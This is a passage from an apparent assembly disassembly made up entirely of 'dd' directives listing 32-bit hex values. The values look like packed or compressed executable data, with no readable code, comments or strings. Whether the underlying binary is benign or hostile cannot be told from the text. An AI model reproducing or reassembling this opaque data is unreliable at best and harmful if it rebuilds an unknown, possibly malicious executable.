8E41F507h dd 0F8DFFFE6h, 441B2D2Fh, 0D82909B1h, 0DC1E702Eh, 62B616C0h dd 75840E42h, 0FE7F3544h, 0CCEB7837h, 0B34F7D41h, 39B58DFCh dd 3B457438h, 445E841Bh, 0B78B7FF5h, 20566BCEh, 0E91302A7h dd 1BB7AD3Fh, 17E6B0C4h, 6E2FFFFEh, 55392F1Eh, 0C8CDD217h dd 0C0681187h, 19EB1EE8h, 144FD539h, 0FFFFF88Dh, 7690BDC6h dd 808DDCFFh, 75DC4541h, 0EB46CCCCh, 0C20D8D84h, 7CE01A43h dd 17FFFFFFh, 2F45CFA6h, 74F510A1h, 50B2FBC1h, 1CF6C30h dd 0DC7DBC78h, 42F0EB30h, 5B111308h, 34F0B85Dh, 0EAB46348h dd 47FFECBDh, 0F65DB85Dh, 1CFFFFFFh, 22C30CFh, 2C4628C4h dd 9E2D52A7h, 8013415Ah, 8DF4426Ah, 0B44C76DAh, 0E2BA34C4h dd 0FFFFFFFFh, 6F76B5BDh, 0C97C0204h, 957F2405h, 1E8A5356h dd 11DAA841h, 0E017E7Fh, 0A599AB55h, 0F4EC6A17h, 86FFFFE5h dd 75518C1Bh, 17EC1142h, 550B2A91h, 42EE18CEh, 8A05BEB7h dd 0FF834B1Fh, 0FB23BD5Bh, 70A28A2Dh, 18EA0585h, 2BD8EB02h dd 0F5BF2B0Ah, 0D882637Fh, 498C031Fh, 3E65D657h, 247984F6h dd 9D378F0Fh, 0FE0DFFFFh, 0CDFF282Ah, 0F730EAA5h, 8A340A14h dd 74783C07h, 0DB583C0Dh, 12633DD3h, 0A97FFFFFh, 0A10A308h dd 632F1036h, 2E8406BBh, 4250E75h, 0C8470475h, 627DE394h dd 0FFF4BFFDh, 652A8EB1h, 6A970Bh, 0CB9CB9Fh, 0AAD80431h dd 9574A5FEh, 0E983CBBEh, 0BFFFFC1Bh, 3851ADDh, 0DFC6DDB4h dd 0CB8A31B1h, 0C161E980h, 3771619h, 5FFF54CDh, 6FF7F028h dd 2B51C18Ch, 8B11973h, 405E7216h, 4F27B7DDh, 0FFFF817Fh dd 2176CA3Bh, 0B75F040Eh, 6382DD11h, 207A4F18h, 86C4B30Dh dd 0A00C7D9Fh, 0FF897E97h, 0C08B5CEBh, 752FD33Fh, 0D9031EAFh dd 598CF7A3h, 0FFA9DBBEh, 6C2FFFFh, 1B754077h, 103EA7A8h dd 8881BD02h, 480AEEE8h dd 9778093h, 0A9042CE2h, 7FFFFF83h, 27760E17h, 150F69Dh dd 8C32342h, 592774B5h, 0C44E954Bh, 0B3118ADBh, 7FFFD1BFh dd 73D637F6h, 53522D0Dh, 2A38D132h, 8426A247h, 0BE61F7F1h dd 0BFF158Bh, 0E12FFFCh, 23187B5Bh, 5D55D930h, 2A0E438Eh dd 1087A5DBh, 0D850DB0Dh, 85FF0775h, 0E322C5BFh, 6869A137h dd 0F50DC2BEh, 0AF814081h, 3E06F55Ch, 0A944BFFFh, 74AF77EFh dd 770B494Dh, 0B7E9DFD5h, 0B65AB341h, 0FFEDE85Fh, 0A266720h dd 1B746FE4h, 6BAAD950h, 7A3A2623h, 72E7FFEEh, 0FFF6FFFFh dd 77E33A06h, 3AE60202h, 0C6C309C7h, 0C10B7512h, 0B3A06ED6h dd 0AC933D1h, 62A6B9FEh, 0FFE8DC1Bh, 7250378Bh, 61D9F702h dd 0C001EB5Bh, 423EE741h, 0A37FF06Fh, 68F5DA1Eh, 0A34633A4h dd 0F830E20h, 4556C72Eh, 0F5BF85FFh, 73AC6298h, 4ACD970Eh dd 31D67A34h, 0B5705E11h, 6292582Ah, 0FFFFFFF0h, 8FF4D4Bh dd 0B1CF6E9h, 0F642EBC3h, 0AC37DC46h, 5059B6A7h, 8168D836h dd 55FBB046h, 28DE8DFFh, 57D1D02h, 8A0CB849h, 4B7F0725h dd 0FFFF990Ah, 55E2FFFFh, 1C7E1DB4h, 207F0C02h, 51F90C53h dd 4ABB0398h, 75C50D9Ah, 86820CF7h, 31856BC0h, 0FFC05C4Bh dd 0F804FFFFh, 2F80C6BDh, 19C5099Ah, 0DB98E2A7h, 0D533C526h dd 5999245Eh, 0BB213159h, 0BE0237C1h, 24134AEEh, 0D8C6B548h dd 0F6FF1B3Fh, 3035BFFFh, 9002636Ah, 1D58AD91h, 931C3CD0h dd 0E0F9967h, 0B4C39516h, 406EC2Bh, 0FFFFE0D0h, 27403E35h dd 59FC3C5Dh, 870BF852h, 4398190Eh, 0CF0A1904h, 6FFFFFFFh dd 1D591970h, 18AC0FB1h, 0C6319E58h, 62ACD0DEh, 0AF066F25h dd 7EC60C36h, 680A01C8h, 16FFFFFFh, 0F722A13Dh, 553B3E1h dd 2CC16D98h, 9030236h, 3770311Ah, 1A5BD386h, 0F5BFAB7Fh dd 7D5BB537h, 4D4D9A0Ah, 9C7601C1h, 82D7A1BDh, 5B1A71F6h dd 8F01FFFCh, 0B6AF02FEh, 0A1D35A8h, 3D169Eh, 0FA25707Eh dd 0E70D5BFFh, 6EC9930Ah, 561C7469h, 0AA0A4CD7h, 0FF0548B1h dd 92B7FFFFh, 6A10747h, 0E3E8AECBh, 8DA0C659h, 5A3740AAh dd 3883D057h, 0B4E618C4h, 7FFF8721h, 3640FFA9h, 0C84AD8D9h dd 0AD78FC71h, 20C7660Eh, 100FEB62h, 98214E40h, 0D0BF77C8h dd 0E4B0FFFFh, 8A608828h, 41FA1E41h, 74042E0Ah, 6681AB1Ah dd 4A00FB58h, 46FC0185h, 0CD2CFFFFh, 2D6D3085h, 930402BFh dd 42D13DBEh, 0DDBF08C5h, 24F43D14h, 4BFFFFFFh, 46ACD94Dh dd 78614356h, 0FD3B2156h, 0EF118B72h, 55D4AAB2h, 0A9455800h dd 0BF466A60h, 0AB4CB7FDh, 14234404h, 451E886Bh, 60E400D4h dd 0E896972Eh, 0F3F816DFh, 0ED037F39h, 0F6C3FA44h, 73AA5A12h dd 0FC0BB499h, 0BD406DFh, 0E84AFFFFh, 4317C413h, 0BE78459Bh dd 6FFFB7FFh, 65636F01h, 0E8DF7373h, 6D116F2Fh, 2E650A73h dd 586C6C64h, 69746E75h, 0FFC0BFFFh, 0FB7052D5h, 6520656Dh dd 0F4AA1D72h, 0ACDFF20Ah, 4C5414BCh, 0E114Fh, 0FFFFFFFFh dd 474E4953h, 2DED65Fh, 414D4F7Bh, 36521112h, 0FFB6DF30h dd 83433DBh, 61206E41h, 696C7070h, 0FFFFFFFFh, 6F516163h dd 7361680Bh, 0BBE85F20h, 64616DEDh, 7417615Ah, 706D6574h dd 206F74DFh, 0B6EC366Ch, 0FD0BFFD4h, 7136FB5h, 7B661668h dd 0B9BFF632h, 617262FFh, 0A17F7972h, 97E652FFh, 6C746398h dd 540A2E79h, 0AF604065h, 0F4BAB5BCh, 111BDA0Dh, 9B5D1383h dd 5B46ED6Bh, 0FFFFFF73h, 192EE55Fh, 9D636D27h, 6620DD73h dd 43D46DBCh, 2E236D0Ah, 66CE5ECBh, 2D339FADh, 0FFFF4120h dd 6D86FFFFh, 75BADB9Dh, 4CD84D5Bh, 0C966A260h, 0B5BB7D6Dh dd 556962D6h, 626D1873h, 75642080h, 0FE256D72h, 0D7DFF8B7h dd 77674BBDh, 6486764Ah, 610C695Bh, 6C2F207Dh, 82B2FFF4h dd 2F540A7Ah, 65926413h, 39F0D607h, 0F677591h, 0FFFE37FFh dd 3A6F7920h, 0EEDC2EABh, 4920DAE6h, 0F69F2A72h, 5D656BEBh dd 0F6B6DDADh, 7FFDADCEh, 6CC2FFE1h, 5D666F11h, 33E56D54h dd 93291DBCh, 5B69A52Dh, 0FFA17F68h, 0FFFF2827h, 6C836FFFh dd 289E2972h, 76854963h, 61A7D9D9h, 44516E94h, 6B9CC6DEh dd 1C02FC1Ah, 0DAAD4944h, 69D306FFh, 0CDF3EDB5h, 6E32F7FBh dd 0BFDB783Dh, 0B0E1DBF0h, 35689E00h, 88634D70h, 9C109081h dd 26803076h, 4BDBE25Fh, 65FB31C5h, 0C3BDCD54h, 0B40CE152h dd 0FFFF533Ah, 9D2EE05Fh, 9B0FDEC3h, 65D83930h, 609F49EFh dd 38321F64h, 0DBB985B5h, 0A5FF61FAh, 0A662FC2Fh, 640D8182h dd 27AD4F86h, 65C8D437h, 0B770A121h, 0FFF43637h, 33EF6DBh dd 64A953C9h, 0A12C7555h, 76FDEC6Dh, 21758069h, 5FF53A0h dd 3BBF2FFEh, 345F28C9h, 35AF6B5Fh, 2F91126Dh, 0E2DC0658h dd 1B460BDAh, 0D93BFADDh, 0F239315Fh, 0B8B73F70h, 0A1697CEFh dd 0EF3B6FD5h, 64D3F2Bh, 0FF1B4638h, 31FA6FFFh, 83A40DF2h dd 3723AB19h, 431CDB53h, 6875766Dh, 0B28089BFh, 0FFF46FFFh dd 2F6B050Eh, 1B6E8417h, 0B764346Ch, 2BF20D4Eh, 0F4D246DCh dd 0FF757122h, 0FFFA5FFFh, 0D26F6868h, 0E45229C7h, 0C1C712C8h dd 0BB69F8E1h, 20EEEF74h, 1CB5287Dh, 7EB44088h, 6177F4BBh dd 40BA4BF2h, 7310C1C3h, 2F4335ADh, 2FFF897Fh, 0BE2B2D63h dd 38E4295Bh, 28756795h, 0C99EC773h, 0C4663257h, 0FFFFFFFFh dd 5EBCB074h, 58DADB2h, 0DE429674h, 66DB5A16h, 0B94D00C1h dd 3566B568h, 15DD8F09h, 43E56956h, 0A17FF46Fh, 0B64C342Bh dd 0F49BEEB7h, 2E2D0A27h, 2E703C05h, 0FC2FFC5Ah, 6736DE67h dd 20CC14DAh, 77506B27h, 3DB63E6Eh, 0FFFD2F56h, 0A645FF8Dh dd 26502D21h, 78107FFFh, 1DF203Ah, 60504C7h, 0FD0B725Fh dd 0A090807h, 0FFE00C0Bh, 12116700h, 0C2FB1413h, 1615FFFFh dd 1A191817h, 1E1D1C1Bh, 2221201Fh, 26252423h, 2B2A29B9h dd 0BFFF582Ch, 81385BD0h, 0AE202F85h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 0F6AA84A7h, 0D55B4241h, 58D68739h, 0FFEADF55h dd 0FF1B6C2Fh, 5C5B5A59h, 0B95F5E5Dh, 1866D363h, 0B46FAA8h dd 0DB3EF68Ah, 0FF936D6Ch, 8D5AA847h, 7C7B8CDDh, 0BB7F7E7Dh dd 85B7C0F0h, 0FFF897FAh, 74E978D5h, 266E4500h, 41DFFE50h dd 4B37AEE1h, 454E5245h, 0DFFFF44Ch, 4C446AA2h, 0C2FC1C4Ch dd 461F6546h, 8746736Ch, 0BFF6320h, 793BE14h, 0F6746553h dd 0BFF9479Fh, 6C4138E7h, 0FFF63BA0h, 2801FFFFh, 75006E00h dd 0B5D76C00h, 0F29ACC6h, 60A1E3Ch, 0CBF6CF02h, 100701DBh dd 0A0A0300h, 10FFFA15h, 5004504h, 7C2E1735h, 0C70030ECh dd 0F16EB749h, 1F6BA5h, 7995BF37h, 0AA07A5D7h, 0FFFDBFFAh dd 8000B20h, 0D2606860h, 89A96EDh, 70B7818h, 7EB20715h dd 1A00B5CEh, 52FFFF01h, 6A31BC51h, 72437726h, 0EAAADF09h dd 68943341h, 6FFFE8B7h, 7053E8D0h, 70A9EEC9h, 0D16BAD4Bh dd 54EB6C60h, 4BFB0C0Ch, 0CE12FFFFh, 576FC400h, 18BF6F12h dd 7453C717h, 2B4917A0h, 0D26A624Fh, 5FF4A2D9h, 49467B60h dd 14C34B9h, 74EE865Bh, 26765F41h, 0BFF550BFh, 0D77C13EFh dd 460FCD98h, 42285153h, 0B850966Fh, 0FFFFFFFFh, 5355A605h dd 0E4A65D60h, 2001CAAAh, 9001E428h, 482049h, 90064210h dd 86108489h, 81640640h, 0DDADFADEh, 40051001h, 8718D882h dd 0CE203B85h, 51132451h, 620025FBh, 6C08C613h, 0FFFF0600h dd 0D76EA342h, 0CA8D3BC4h, 0FFDFD956h, 0F332E426h, 141B1401h dd 6FFFC300h, 0C2259115h dd 36EF2F00h, 0F72365B2h, 0DFD50011h, 705FFFE0h, 84838281h dd 88878685h, 8C8B8A89h, 168F8E8Dh, 95949392h, 0C3FFFFFFh dd 98F39796h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0FFFFAEADh, 0B0AFFE35h, 0B4B3B2B1h, 0B82353B5h dd 0BCBBBAB9h, 0C0BFBEBDh, 0C4C3C2C1h, 0FFFFE7FFh, 0C8C7C6C5h dd 0CCCBCAC9h, 0D0CFCECDh, 0D4D3D2D1h, 0D8D7D6D5h, 0DCDBDAD9h dd 0FFDFDEDDh, 0E0FFD0BFh, 0E4E3E2E1h, 0E8E7E6E5h, 0EDECE1E9h dd 0F1F0EFEEh, 0F5F4F3F2h, 6F22F7F6h, 55FFFFFCh, 0F9F8FF12h dd 0FDFCFBFAh, 1290FFFEh, 7042B120h, 0A3085590h, 8D8552CAh dd 0FFFFFC12h, 1F104AFFh, 610009F4h, 3A48487Fh, 266CDC6Dh dd 0E91D68h, 4D202C64h, 0D7DD6CBAh, 0FF790820h, 0CE6FFE05h dd 792F2F0Bh, 31CBA110h, 4D43507Bh, 876F249Bh, 0FF96F71Ah dd 0BFFFFFFh, 0BB766F4Eh, 4FC06BC5h, 70F50A5Dh, 528B1474h dd 24410EA5h, 0BB3DF4B5h, 7E4AA857h, 0BF6E0743h, 65FFFFF1h dd 17D1BA41h, 0FC69BF1Bh, 6863D74Dh, 1E8DB59Ah, 31E265DFh dd 8E36AD23h, 0FFF1BF95h, 530AECFFh, 3F72A961h, 636B156Bh dd 92E4613h, 95AC1245h, 57135A1Ah, 0FF0C4C3Ch, 0C7FA37FFh dd 541D9D0Ah, 101E4D7Eh, 686B7553h, 60767E1h, 63868080h dd 0FF03F080h, 7FFC6FFh, 7D0B6CA8h, 14808286h, 15854BE9h dd 3F8542FAh, 805080E1h, 0B43FBD88h, 0FFFF972Dh, 27F30BFFh dd 0F4072357h, 21885050h, 1C07DAD7h, 8391828h, 0A17F21F6h dd 78EF68ADh, 2DBFFADh, 730277E2h, 0F3228614h, 39CE6B0Bh dd 6FFC6E7h, 9FCB5BEDh, 9B7B9AAh, 0ECE1D6D8h, 30FA7905h dd 0F6FFC6FEh, 5060C18h, 1E372AFFh, 483960C2h, 543F4F73h dd 0D5B47342h, 0FC0BC024h, 21637B37h, 14685D0Fh, 66EEA97Bh dd 0F16F1B69h, 0EA06BFFFh, 33D5475h, 56D90B76h, 8E6B9583h dd 32004307h, 1B1BD5DFh, 0FF1BFFE9h, 1772E49h, 705F3722h dd 622E1050h, 0F7445A85h, 6C6F677Dh, 0D6FFE464h, 577370BFh dd 98DAE54Eh, 62436D01h, 51B7BD5Ah, 8CC78773h, 0F56FFFFFh dd 56673370h, 1D53ADD4h, 3C8B769Ah, 0A50EE75Bh, 85BE6DDAh dd 0D61F275Eh, 0FC6FFFFFh, 6B304026h, 16660F74h, 726BB1ABh dd 0C09507E0h, 47C3518Dh, 5C8156Dh, 0C0BF17C3h, 3E3FFFFh dd 0F66F4717h, 0F7B5EF0Eh, 730679BDh, 5D073068h, 7B72A308h dd 837F9316h, 6577FFFFh, 0D1B37D3h, 8E02D6Bh, 6E6DC40Ch dd 0CBDB00CCh, 6FBC00B7h, 17FDB46Fh, 6A5AE17Eh, 5F63B0E3h dd 0CBBB79F3h, 733A6796h, 6C4F7A6Fh, 0BE9605Fh, 0A9FF744Bh dd 0CB20C387h, 4A336103h, 0FFFA5FFFh, 64ED7E19h, 70674F0Ch dd 5885795Fh, 76B76EC1h, 5B0A5A98h, 2E63EC6Ch, 0FFFF076Fh dd 2369FFFFh, 0A33470F6h, 4B1C42BDh, 432707CDh, 5A3DDDF6h dd 661BA683h, 69542D63h, 6866CC41h, 0FF0B66DFh, 4B0F837Fh dd 3175244Dh, 12D0C361h, 0AF6F9E57h, 0BBF3B65Bh, 0FFFA16ADh dd 67ABE378h, 856FBB67h, 0DA2F5CD8h, 0A473CF2Eh, 0F42D1BFFh dd 3DB0CC76h, 625C00E1h, 55AF5873h, 68D9A9ACh, 0FF0BFA15h dd 4E3E434Fh, 136B6580h, 0AF365F5h, 86E019EEh, 0BFFFFFFFh dd 578F3FAAh, 0B373168Eh, 9F080F76h, 36CF2A88h, 874B0ED7h dd 7794FB3h, 0CE07865h, 0AD020886h, 3B3CFF5Bh, 0F18A1FD5h dd 6CA9BB43h, 0AC0AFBAh, 2FFFFFFDh, 61E15E29h, 0EA52CB27h dd 8C36DAEFh, 275BFA58h, 5B8A1679h, 0FFFF1290h, 0FE3FD697h dd 6EE7215Fh, 731E784h, 63CF70D7h, 0BD617A6Eh, 0FFF5BFB3h dd 230077FFh, 0F2CF8462h, 5B818529h, 0A7B38E47h, 0BF14E9D3h dd 3AF5EB8Dh, 0DFFF4EBDh, 7F7FFFEh, 5EBD234Bh, 3B2FEBDDh dd 574B7907h, 637A13D7h, 9F8F7F73h, 0B42EB456h, 17FF60CFh dd 2F69E0DAh, 0E67F0B84h, 361BE927h, 36342E39h, 0A585312Eh dd 3902FFFFh, 0FFC03831h, 5043BB05h, 4F542054h, 2FFD7F3Ah dd 0FFFFD1D9h, 7B5CF06Fh, 41863830h, 2D303438h, 44303142h dd 4431312Dh, 0B6DADB33h, 0E17F09BEh, 3343C002h, 98013621h dd 0FCD30439h, 0E9747460h, 7D34EAABh, 4E047A79h, 56036590h dd 40C6DFD5h, 6EFFF288h, 824E04C8h, 0FFFEADD5h, 1B704836h dd 17EA63D1h, 1DE1A2B8h, 7FFBF401h, 0ABFF705Ah, 0BD4256EAh dd 77433F36h, 8B1FF65Fh, 0FFFFFFFDh, 0CF71C6BEh, 322A8DFh dd 7E222A9h, 0DEF5D00Ch, 22CDF23Dh, 0C519E8CAh, 22D0C722h dd 1BFA27CEh, 1B045577h, 0BA524620h, 0E86014Ch, 0FFAAA5FBh dd 63F3B937h, 0E01346C4h, 9ACF342Bh, 5EDF0EDh, 340CFFFEh dd 10A03012h, 0BD9D9B10h, 20B45E0h, 0BA4F0DFFh, 85FC45D9h dd 0D090FFD2h, 0DECB2567h, 1034CEC0h, 0CF2CA661h, 2C5184C2h dd 1BFFFFFFh, 7548B0B4h, 678076CDh, 1C77C0D8h, 0BA4818DEh dd 2EBC2F41h, 0A55FB05Fh, 0FFD2444Dh, 33F6FE85h, 0C404EB90h dd 0FE21CB05h, 0DD2722Eh, 0FBC07372h, 0FFB68D35h, 382708FFh dd 17758B73h, 262E0240h, 6E03D44Bh, 0D760C953h, 5B6FFA5Fh dd 7420730Fh, 0EBD80763h, 0D024F70h, 0B9008D05h, 0F56FD6FFh dd 0B01FEACDh, 4F80D83Eh, 524A4246h, 11A2C804h, 0FE20A450h dd 0DD0AFFFFh, 0E0A5E381h, 0E8509E61h, 9BA8EC0Ch, 0D7FB5722h dd 0B7046A23h, 0FFA37F4Dh, 60B679DFh, 0FC551E01h, 0E44055C8h dd 324DE852h, 0E22AEB9Dh, 0FFE91550h, 0E50CFFFFh, 96CFB16h dd 45C64F59h, 0BF2F4EFFh, 32C88201h, 0EB027DDAh, 160DE827h dd 0FFFF5082h, 88FE7F42h, 81FF841Ch, 74982A26h, 0CAE81412h dd 642D222Fh, 3304FDEDh, 0FFFF8368h, 51C575D2h, 0DB924F28h dd 0C99110Dh, 510448A4h, 0FF82598Ch, 2E5FFFEDh, 950C6852h dd 0F6129E8h, 736A047Dh, 222D6F19h, 5C3114E8h, 7881F906h dd 0FFAB7FD5h, 324E82Eh, 0C801FA55h, 0F84BC56Eh, 7FC03D82h dd 0FFFF2D9Ah, 657BBFFFh, 0BE75C05Fh, 731C7FD4h, 1D9656E4h dd 0E80618h, 0C9DE40F0h, 37E039B6h, 0F8F413ECh, 0FFFFFFFFh dd 0EE11C206h, 9BE42F16h, 208D520Ch, 102E50A8h, 85F9814Ch dd 0C7057CC0h, 84BDB828h, 3ABB2F90h, 0FFFFFC1Bh, 0A36251F8h dd 5C5359F8h, 24521855h, 88236150h, 0DC517D2Dh, 0DD174952h dd 0FFFFFE05h, 4071131Bh, 2A3F0014h, 0CD76130Eh, 10771418h dd 0B7010652h, 85D99ECAh, 46FFFD5Bh, 8D838D5h, 3864028Eh dd 0D9B9670Bh, 0C833080h, 0A17FFFFDh, 0A610B9DDh, 34A553A8h dd 0E0ED9850h, 1C408317h, 0E2A3BD36h, 0C6FF3FA4h, 0F4EDBFFFh dd 0B74E605h, 0EAE0D6CCh, 0E0252308h, 0EB532278h, 0C8781680h dd 7FFF1989h, 0D00DF823h, 477CFDDCh, 0CD08306Ah, 88B5B2Ch dd 9C27BD51h, 0FD0B51ADh, 9018FC5Bh, 0D89B3A74h, 0DE1A9BDAh dd 0B37801F8h, 0FFFF2356h, 0D0A9A22Dh, 5214141Eh, 0AC326CD9h dd 42FFC7F8h, 6310DB30h, 0FF42FE80h, 0E4A5200Dh, 0A7C4537Fh dd 151182Fh, 0FF2A6800h, 0B49746FFh, 0B8D840EFh, 453EA0D8h dd 0D89ABD14h, 736E1018h, 0FFFF526Ch, 0DC45FA37h, 3E4C2E7Fh dd 315333DCh, 0E64685Eh, 9C8EC86Dh, 0D030046Ch, 0FFFE55FCh dd 7CD4FFFFh, 7B1AE85Ch, 7BE08DC8h, 0D08A042Fh, 0ADD28D99h dd 81A7C21h, 2E57D4EBh, 871251BBh, 4BFFE911h, 633EA925h dd 0EB663F45h, 7F8B3217h, 0D702F0D0h, 7EDFF0BAh, 186E0AC1h dd 69D9F053h, 0C04E81F8h, 57AD0163h, 0FFFFFF48h, 75E122B7h dd 0E7246287h, 749BED8h, 0EF71666Ah, 6676F651h, 0C3839C0h dd 53061320h, 0FFFFFFFFh dd 0C8C25EEh, 7C7E34B8h, 0EEBE152Ah, 20D0999Ch, 6430FBA1h dd 0CF4B3C0Dh, 2B510CFAh, 320501B0h, 0FFFFF6FFh, 7785B0C3h dd 3B3D8F21h, 72773DEBh, 4019D872h, 0DE28D04Fh, 0B0C2FDEh dd 5C73Ch, 0FFFFC1B8h, 0CDE13B65h, 24DF5658h, 6D7E08E9h dd 0CC15F428h, 68CD136Ah, 0D0BF8590h, 0E72EB6B7h, 1A3A7BF9h dd 0C0A06814h, 0FC6F2384h, 0E5CEFF42h, 0ECDCE52Dh, 0FCAC985Ch dd 75A6032Bh, 8D6CF782h, 0FF5BFFABh, 0E044162Ch, 1646E04Dh dd 5435265Eh, 152E4233h, 68C0E13Dh, 7FFFFFFFh, 0EB1B530Ch dd 604BC51Bh, 0D7DC1EB6h, 0AAC9335Ch, 4941ABFEh, 83DC55D1h dd 92B818EAh, 7FF8BA05h, 1053FFFBh, 0CF28E06Fh, 4CC161F3h dd 0EB6847F6h, 9816EC09h, 0CB482D90h, 0F8201A61h, 0F2DFE05Fh dd 0EED90647h, 0CA49102Ch, 31B3A650h, 0E457D379h, 0FFFFE180h dd 84412337h, 0B11768C7h, 60EE9C01h, 4D08980Bh, 9EB76FBh dd 7DC778DAh, 7F1A85FFh, 250E2983h, 3CF1830Fh, 0FA699660h dd 41E905DCh, 0FFFFFFFFh, 73937C23h, 8BB4D20Ch, 55898114h dd 0B045751Ah, 0C9CC2DE3h, 7018E9D0h, 0A376D88Bh, 422FF455h dd 897FE8DFh, 0CA253BFFh, 5384EF95h, 6C1E130Fh, 77720A02h dd 504A05FFh, 0F028CB44h, 4B28F03Ch, 0FF06D62Eh, 8AD0FF1Bh dd 428BF0E0h, 5BF49201h, 0ECF68084h, 5606B70Fh, 0D4BFFFFEh dd 0E1BB37FFh, 0E8C42032h, 0DD9AC276h, 441B5733h, 0C10A896Dh dd 0E62D501h, 0FFFFFFFFh, 0E9F0EDC2h, 8B90D7A7h, 840F8F02h dd 0A0FB6596h, 51974DA3h, 9E4155EAh, 484559A5h, 5175D8C9h dd 0FFFF6DBFh, 9EAB66E4h, 0E596D8E0h, 0D80EB6B3h, 8B489728h dd 644C5015h, 0B5554D59h, 52F52F81h, 0EC712E4Eh, 0E972B28h dd 0FF6FDFC8h, 6DB57FFFh, 0DEB1097h, 0F77011D4h, 0E9E043ACh dd 1A9FA366h, 4C55D8D9h, 0E4001CE4h, 0FFC0BFFFh, 0C2409847h dd 18F89FD5h, 0C06F36CCh, 60018768h, 6180FB61h, 0F0F32B0Dh dd 0FFFFF8B7h, 881D4B74h, 3CB0FE90h, 0EFE4B74Fh, 0C0891D2Ah dd 60D93AE0h, 0A3FC4EF2h, 0FFFFFFFFh, 0E020E370h, 257C955Ah dd 9752F4EBh, 89261ADCh, 761C18F7h, 204808FDh, 0F46D08F0h dd 4D800289h, 0F6F8297Fh, 4F13908Eh, 3CF9B2ECh, 6210E987h dd 69E42A3Dh, 0FFFFFFFFh, 1D9F137Eh, 1F406220h, 0C669C288h dd 2D72B094h, 0A929D2E8h, 0AC7A8397h, 0B64E8A8Ch, 0EBE4110Bh dd 6FFFFFFFh, 6D021C72h, 2349A2E4h, 0C80861ACh, 0BDC88E0h dd 1C094A60h, 8531C033h, 66BC7DB4h, 0FFDBFFFFh, 0CE21D4Fh dd 6B37F85Dh, 0BF98C2Bh, 38C7521Dh, 9A4BC09h, 0FFC81C4Fh dd 66D86E01h, 0FFFFF02Fh, 0F7143F6Ch, 0C59D41D8h, 0FC8E005Ch dd 57EAF661h, 60503705h, 0B89C7369h, 0FFFC1BFCh, 0AEDE1BD2h dd 23974D9h, 0F5A91175h, 89411B2Bh, 181E3657h, 817FC820h dd 381A0BFFh, 0F44D6801h, 0EE689D51h, 935562ABh, 8F76364Ch dd 0FFFD1A0Dh, 0B9C006B0h, 0D08518Ah, 29966ECh, 53A706E7h dd 0F8DFFE2Dh, 580A5985h, 0A1D2566Dh, 0E842C719h, 0B9451A13h dd 0A2050938h, 5E16FFFFh, 0EBF0EC5Bh, 176C8528h, 6D197FC2h dd 0E06B833h, 2FFFFFEh, 21B3D86Ch, 2D47DB7Ah, 0FB0150C6h dd 0B2DD2D57h, 0E7ED5121h, 0FF04D251h, 1B0D6FFFh, 6C27BE59h dd 5D2008BFh, 7AFA1479h, 9CAD050Bh, 1C19402Dh, 0FFE88B7Fh dd 4BE1072Eh, 9246B1A6h, 373A146Bh, 11BDED96h, 0FFFF0E3Bh dd 432FFFFh, 4598CB1Eh, 8914DB2Eh, 0E0E7E04h, 106D96A8h dd 51294D5Dh, 60C0833Ah, 1143D0ADh, 0FFFC6A82h, 987FFFFFh dd 514560C5h, 23A2F46h, 0ECDF0874h, 22550837h, 44104938h dd 0AC97A1Bh, 420CB645h, 1AB74BFFh, 0CD861C9Fh, 0DFF83DD6h dd 90B091C0h, 0FFFFD424h, 0CD80E37Fh, 0F31B69C0h, 11026636h dd 741F3A20h, 0E069DE05h, 0B56A11D3h, 0E870FED9h, 0A97E2DFEh dd 86AC6CBh, 71A0E50Eh, 0E9E12F38h, 973D023Fh, 0FDADDBFEh dd 3B450529h, 480AF487h, 0B8F4D706h, 0FD506AC6h, 0BC15FFFFh dd 6A56755Bh, 0BBB0FA18h, 89306E21h, 0A181441h, 0C20F9AB8h dd 6FFFFE97h, 49E9E97Fh, 2BE81522h, 84C1A327h, 0F4F5F48h dd 2DC78B09h, 0FFFF50EBh, 2EEEFFFFh, 0D7C5F26Ch, 0F4FD627Ah dd 0AC17601Eh, 3F47A890h, 0F197428Ah, 1740D677h, 67E82852h dd 0AB7F7109h, 2D21EDC1h, 74188876h, 0F7BE6607h, 55E9019Dh dd 0F8DFFFFFh, 400C80DDh, 0B51C3460h, 3F0B973Fh, 1B3B3117h dd 41EF4AC2h, 0B0374E41h, 0FFFF9C20h, 80BFFFFh, 0E35DCAB0h dd 0F7C629B4h, 2511179h, 0B2E34219h, 214CC603h, 6450650Dh dd 1C842C2h, 0FFFF0C19h, 50C3FC2Fh, 66464B23h, 0F5E9CD5h dd 99912AF3h, 1B610A13h, 889DD83h, 0DF4889BCh, 0FA17B7F5h dd 0EB520B48h, 506FF69Bh, 56EB4A1Bh, 0D60D9523h, 6A3756FFh dd 69333A93h, 787141A1h, 6B220F04h, 0FD0BF02Fh, 0D2A3ACDBh dd 7C3090Eh, 0A3C75013h, 0AE05412Fh, 0FEA5FE37h, 0B1D8CADh dd 33469FA4h, 0F4F28DB2h, 322A0E60h, 0FFFCE0BAh, 0C19BFFA5h dd 12A5558h, 68590189h, 8341F16Bh, 49424142h, 6385B992h dd 0FDBF2C4Ah, 10446FFFh, 2131920Fh, 0FBF80C13h, 0C865A41Bh dd 22394D67h, 78B17BE7h, 0B6A59092h, 2775FFFFh, 2B7B538Dh dd 0F8655F19h, 7D5EF8BBh, 0C3DD8F20h, 0FF898C17h, 5BEBFFFFh dd 5075012Eh, 2B384C3Bh, 1BAC1A53h, 4AB85E6Ah, 0C7BD4546h dd 2B916F63h, 7E0DFFD0h, 0C053F810h, 0B048802h, 784D2DE1h dd 2C5772F4h, 0BFFFFFFFh, 0CF021029h, 33ABEF0Fh, 20B70878h dd 16D71421h, 61DD49C0h, 2653D70Ch, 3EB0692Ch, 0C1BF49EBh dd 47EBFE17h, 0E8C63C71h, 9F6BCAE6h, 0C035E8B4h, 0E071A1F6h dd 0FE05FFFEh, 20409EE0h, 0F50203B0h, 0A514DC0Ch, 0B08C9726h dd 0E18106Fh, 0FF1EE658h, 5F37FF4Bh, 4663424Fh, 4FD7FD83h dd 7CED5BFFh, 6FAB7AEBh, 0CEB2D8F1h, 0FFFF16FFh, 0A5F4F0C9h dd 0CB2CB291h, 18AE54C2h, 0C9231C29h, 721CCD66h, 0F0438E1Bh dd 0FFFFFFF0h, 8670D0F8h, 81EE1957h, 9A12206Ah, 0CCE046Eh dd 0B4F0F476h, 709584ABh, 4F5C0F65h, 41BFFFFFh, 641F080Ch dd 2925B337h, 2D145821h, 6506497h, 394E9079h, 0FF8B37EBh dd 